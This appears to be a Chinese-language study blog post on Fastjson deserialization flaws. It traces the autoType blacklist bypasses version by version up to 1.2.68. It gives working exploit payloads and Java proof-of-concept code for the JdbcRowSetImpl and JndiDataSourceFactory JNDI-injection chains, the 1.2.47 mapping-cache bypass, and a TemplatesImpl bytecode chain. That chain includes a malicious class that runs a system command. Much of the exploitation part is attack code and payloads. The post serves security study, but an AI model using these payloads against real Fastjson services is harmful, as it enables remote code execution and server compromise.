Fastjson 反序列化
Fastjson
Fastjson 是阿里巴巴开发的一个 json 解析库,主要是对 json 数据进行序列化和反序列化
依赖
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
Fastjson 的主要操作围绕两个核心方法
JSON.toJSONString(Object)序列化,将 Java 对象转换成 json 文本JSON.parse(String)反序列化,将 json 文本转换回 java 对象JSON.parseObject(String,Class)JSON.parseArray(String,Class)
序列化和反序列化
先创建一个简单类用来序列化
import com.alibaba.fastjson.JSON;
public class fastjsondemo1 {
public static void main(String[] args) {
Person marin = new Person("marin", 18);
String json = JSON.toJSONString(marin);
System.out.println(json);
}
}
从结果可以看到,这里调用了 getter 方法来获取属性值

序列化这里可以加多种 SerializerFeature 参数,当传入一个 WriteClassName ,就可以在序列化结果中打印一个 @type:类名
String json = JSON.toJSONString(marin, SerializerFeature.WriteClassName);

下面是利用反序列化方法
public class fastjsondemo1 {
public static void main(String[] args) {
String json = "{\"@type\":\"com.marin.Fastjson.Person\",\"age\":18,\"name\":\"marin\"}";
String json2 = "{\"age\":18,\"name\":\"marin\"}";
System.out.println(JSON.parseObject(json));
System.out.println("--------------------------");
System.out.println(JSON.parseObject(json2));
System.out.println("--------------------------");
System.out.println(JSON.parseObject(json,Person.class));
System.out.println("--------------------------");
System.out.println(JSON.parseObject(json2,Person.class));
System.out.println("--------------------------");
System.out.println(JSON.parse(json));
System.out.println("--------------------------");
System.out.println(JSON.parse(json2));
}
}

我们可以看到这两个方法是反序列化失败了,并且有些方法输出并不是调用 toString 方法的
JSON.parseObject(json2)
JSON.parse(json2)
parse 要反序列化出一个对象,需要带有@type指定类parseObject 要反序列化出一个对象,需要指定第二个参数为对应的类Person.class ,绕过不指定第二个参数,返回的是一个JSONObject对象
特性
这里的特性是引用素十八师傅的
fastjson 在创建一个类实例的时候会通过反射调用类中符合条件的getter/setter方法getter方法条件- 以 get 开头且第 4 位是大写字母
- 方法不能有参数传入
- 不是静态方法
- 继承自
Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong - 这个属性没有
setter 方法才会找getter ,setter是更优先的
setter方法条件- 以 set 开头且第 4 位是大写字母
- 不是静态方法
- 返回类型为 void 或 当前类
- 参数个数为一个
如果目标类中私有变量没有
setter 但是在反序列化中还是想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数fastjson 在寻找getter/setter 方法时,调用的函数会忽略_ 、- ,所以使用的字段名是n_a_m-e ,也会找到getName 方法,在1.2.36版本及其后续版本都可以使用在反序列化时,如果 Field 的类型为
byte[] ,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行 base64 解码,在序列化的时候也会进行 base64 编码
fastjson 版本影响
fastjson 1.2.24
影响版本:fastjson <= 1.2.24
这个就是最基础的版本
fastjson 可以使用 @type 指定反序列化任意类,攻击者可以在 java 常见环境中寻找能够构造恶意类的攻击方法,通过调用 getter/setter 方法来达到传参的目录
fastjson 1.2.25
影响版本:1.2.25 <= fastjson <= 1.2.42
fastjson 1.2.25 引入了 checkAutoType 安全机制,采用黑白名单机制
- 默认情况下,
checkAutoType关闭,基于白名单实现安全机制 - 打开
checkAutoType后,使用的是黑名单来实现安全
黑名单包含了
bsh
com.mchange
com.sun.
java.lang.Thread,java.net.Socket
java.rmi,javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
在反序列化中,有一个值 autoTypeSupport 这个决定了对 @type 机制的态度,默认为 flase,是不会加载类的
只有这个参数为 true 并且通过了白名单的检查就会加载类,如果这个类不在黑白名单中,最后也会加载类
绕过方法
这里的黑白名单加载类的时候,如果这个类是以 [ 开头,就会去掉这个字符,然后返回对应的类,或者如果以 L 开头和以 ; 结尾,就会被去掉头尾再加载,这里就可以绕过黑白名单

所以像 JdbcRowSetImpl 的 paylaod 就可以改成
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:8003/EvilClass",
"autoCommit":true
}
但是还是需要将 autoTypeSupport 设置为 true,才有加载类的机会
全局设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(true)为指定的类设置
ParserConfig.getGlobalInstance().addAccept("com.example.YourClass")

fastjson 1.2.42
影响版本:1.2.25 <= fastjson <= 1.2.42
这个版本在黑名单匹配之前,针对以 L 开头和 ; 结尾的,会先去掉这两个东西之后再匹配黑名单
绕过方法
绕过方式就是双写绕过
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:8003/EvilClass",
"autoCommit":true
}

fastjson 1.2.43
影响版本:1.2.25 <= fastjson <= 1.2.43
这个版本就是把双写ban了,只要开头连续出现了两个 L ,就会报错
绕过方法
这里就可以使用之前提到的第一个方法,使用 [,并且后面需要 [{ 来欺骗解析器,使得解析器将后续的内容作为对象的属性来解析
payload
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{
"dataSourceName":"ldap://127.0.0.1:8003/EvilClass",
"autoCommit":true
}

fastjson 1.2.44
影响版本:1.2.25 <= fastjson <= 1.2.44
这个版本就把前面的方法都修复了,限制之前所有的绕过方法
fastjson 1.2.45
影响版本:1.2.25 <= fastjson <= 1.2.45
这个版本找到了一个新的可绕过的类 JndiDataSourceFactory
fastjson 1.2.47
影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 autoTypeSupport 及 1.2.33 <= fastjson <= 1.2.47
在 ParserConfig 的 checkAutoType 方法中有一个机制,其实一直都有,只是在 1.2.47 版本被利用
这个特性就是如果在黑白名单中没有找到匹配的类,会尝试在 TypeUtils 的 mappings 属性和 deserializers 属性中查找,如果找得到就直接返回
在
fastjson 中,TypeUtils是一个静态工具类,用来存储很多类型处理、类加载、缓存管理等功能
mappings 是其中用来存储 类型映射的,将fastjson中已知且常用的类名映射到实际的 Class 对象,找到就直接返回加载的 Class 对象
deserualizers 是存储反序列化器的,针对特定的 java 类定制的,比如String、Integer等,如果已经注册了反序列化器的,那么 Class 对象肯定已经被加载并缓存
在 autoTypeSupport 为 true 的情况下,会进入前面的判断机制,就算这个类在黑名单中,只要 TypeUtils 的 mappings 属性中能找到这个类,也不会有异常
如果 autoTypeSupport 为 false,那么也能利用,因为 TypeUtils.mappings 缓存的检查发生在黑名单检查之后,但在抛出异常之前,并且它的优先级高于 autoTypeSupport 的最终检查
绕过方法
将类加载进 TypeUtils.mappings 缓存中,能赋值的方法有 addBaseClassMappings 和 loadClass(String,ClassLoader,boolean)
addBaseClassMappings 中没有什么操作的空间,在 loadClass 中,我们看到

只要传入的对象不为空,就可以将传入的 className 加载进 mappings 中
我们找到只有在这个重载用法中才有调用这个方法,并且默认将 boolean 设置为 true,另一个方法不能控制 ClassLoader 所以只能找这个

在 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法中,可以找到这个方法的调用

可以看到 strVal 作为类名,由 objVal 赋值,再往上找

如果 parser.resolveStatus 是 2 的话,就可以赋值了,parser 是我们可以传入的参数

这里赋值用到的 parser.parse() 是最后会调用到 JSONScanner#subString(int,int) ,用来从 JSON 字符串中取子串,位置已经固定好了,就是取 JSON 字符串的键名为 val 的值,这里的设定是因为 lexer 这个 JSONScanner 扫描器对象设定的
这里的详细解析我就没仔细看了(,直接上结论,就是 objVal 最后获取到的值就是 val 键对应的值
- 前面我们还提到另一个是
ParserConfig.deserializers 的,但是这个就不能由我们操作了,只有这里包含了一个java.lang.Class类,所以如果反序列化的是这个类,就可以通过检测
然后继续往上走,在 DefaultJSONParser#parseObject(Map,Object) 方法中遇到能够通过检测的类就会调用 MiscCodec 类来反序列化,并且设置了进入 objVal 赋值的条件,就比如刚提到的 java.lang.Class
this.setResolveStatus(2);

这里最后的 payload 的形式是
{
"object1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"object2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:8003/EvilClass",
"autoCommit": true
}
}
在反序列化第一个类的时候, Class 类可以顺利通过 checkAutoType 的检测,并返回 val,后面进入 MiscCodec#deserialze 中将 com.sun.rowset.JdbcRowSetImpl 加载到 TypeUtils.mappings 中
然后再反序列化第二个类的时候,因为 TypeUtils.mappings 中已经有了,就不会报错,并且能够成功返回

fastjson 1.2.48
这个版本就是修复了污染缓存的漏洞,传参时 boolean 默认设置为 false 了,并且将 java.lang.Class 加入黑名单了
fastjson 1.2.68
影响版本:fastjson <= 1.2.68
在这个版本中,添加了一个新的机制,在 ParserConfig#checkAutoType 中添加了一个 safeMode ,只要开启了这个,就会直接抛出异常,不能反序列化任何类

绕过方法
同时,在这个方法中也找到了一个新的绕过方法,这个其实一直都有,只是才找出来,不过也需要关闭 safeMode

这里的利用点就是要构造一个符合条件的 expectClass,就是反序列化的类是传入的 expectClass 的子类
expectClass 是 ParserConfig#checkAutoType(String,Class<?> ,int) 的第二个参数,查找调用了这个的方法
最后在 ThrowableDeserializer#deserialze 找到一个调用的地方

这里会将 @type 的值传入第一个参数,Throwable.class 作为第二个值,所以只要我们传入的类是这个的子类,就可以通过检测
漏洞利用
TemplatesImpl
影响版本:fastjson <= 1.2.24
要利用的类是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
我们可以看到在 getTransletInstance 方法中调用了 newInstance 方法,这个可以触发这个类的静态方法,但是这个 get 方法是私有的,无法直接调用
查找用法发现 newTransformer 方法调用了

继续查发现 getOutputProperties 调用了这个方法,这个是一个 getter 方法,并且返回值 Properties 实现了 Map 接口,符合要求,反序列化时可以调用
不过这个 OutputProperties 没有 setter 方法,并且是私有的,所以要用 Feature.SupportNonPublicField 赋值

回到最开始,我们要调用 newInstance 方法,得有一个类,这个类是怎么来的,我们可以看到先触发了一个 defineTransletClasses 方法,这里使用了一个自定义的类加载器来加载字节码,这个方法里还要求加载的类要继承 AbstractTranslet

payload
虽然没懂有些参数在这里是干什么用的,但是没有就是会报错(
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":base64Code,
"_name":"marin",
"_tfactory":{},
"_outputProperties":{},
}
调用链
TemplatesImpl#getOutputProperties()
- TemplatesImpl#newTransformer()
-- TemplatesImpl#getTransletInstance()
--- TemplatesImpl#defineTransletClasses()
---- Class#newInstance()
测试实现
成功实现
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class Poc {
public static void main(String[] args) throws IOException {
byte[] code = Files.readAllBytes(Paths.get("D:\\study\\java\\study\\javacode\\Fastjson\\src\\main\\java\\com\\marin\\Fastjson\\TemplatesImpl\\EvilClass.class"));
String base64Code = Base64.getEncoder().encodeToString(code);
String poc = "{\n" +
"\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
"\"_bytecodes\": [\"" +base64Code +"\"],\n" +
"\"_name\":\"marin\",\n" +
"\"_tfactory\":{}," +
"\"_outputProperties\":{},\n" +
"}";
JSON.parseObject(poc, Object.class, Feature.SupportNonPublicField);
}
}

恶意的 class 文件
package com.marin.Fastjson.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
}
static {
try {
System.out.println("1231231");
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
JdbcRowSetImpl
- 这里和
SnakeYAML的链子是一样的,我就照抄了
影响版本:fastjson <= 1.2.24
com.sun.rowset.JdbcRowSetImpl 这条利用链是由于 javax.naming.InitialContext#lookup() 方法的参数可控导致的 JNDI 注入
由前文知道,YAML 反序列化的入口类很大概率是无参构造方法或者是 setter 方法
这里跟着网上找到了这个 setAutoCommit 的 setter 方法,在里面调用了 connect() 方法

跟进方法可以看到这里有 lookup 方法进行 JNDI 远程调用,参数是 getDataSourceName 方法,继续跟进

发现只要将 dataSource 设置成恶意的 JNDI 地址就可以

payload
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8003/EvilClass",
"autoCommit":true
}
调用链
JdbcRowSetImpl#setAutoCommit()
- JdbcRowSetImpl#connect()
-- JdbcRowSetImpl#lookup()
测试实现
import com.alibaba.fastjson.JSON;
public class Poc {
public static void main(String[] args) {
String poc = "{\n" +
"\t\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\t\"dataSourceName\":\"ldap://127.0.0.1:8003/EvilClass\",\n" +
"\t\"autoCommit\":true\n" +
"}";
JSON.parse(poc);
}
}

JndiDataSourceFactory
影响版本:1.2.25 <= fastjson <= 1.2.45
这个类需要服务端有 mybatis 依赖 jar 包
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.13</version>
</dependency>
看源码,很容易就看到可以控制 lookup 的参数

payload
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{"data_source":"ldap://127.0.0.1:8003/EvilClass"}
}
调用链
JndiDataSourceFactory#setProperties(Properties)
- InitialContext#lookup(String)
测试实现
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Poc {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\n" +
"\t\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
"\t\"properties\":{\"data_source\":\"ldap://127.0.0.1:8003/EvilClass\"}\n" +
"}";
JSON.parse(poc);
}
}

参考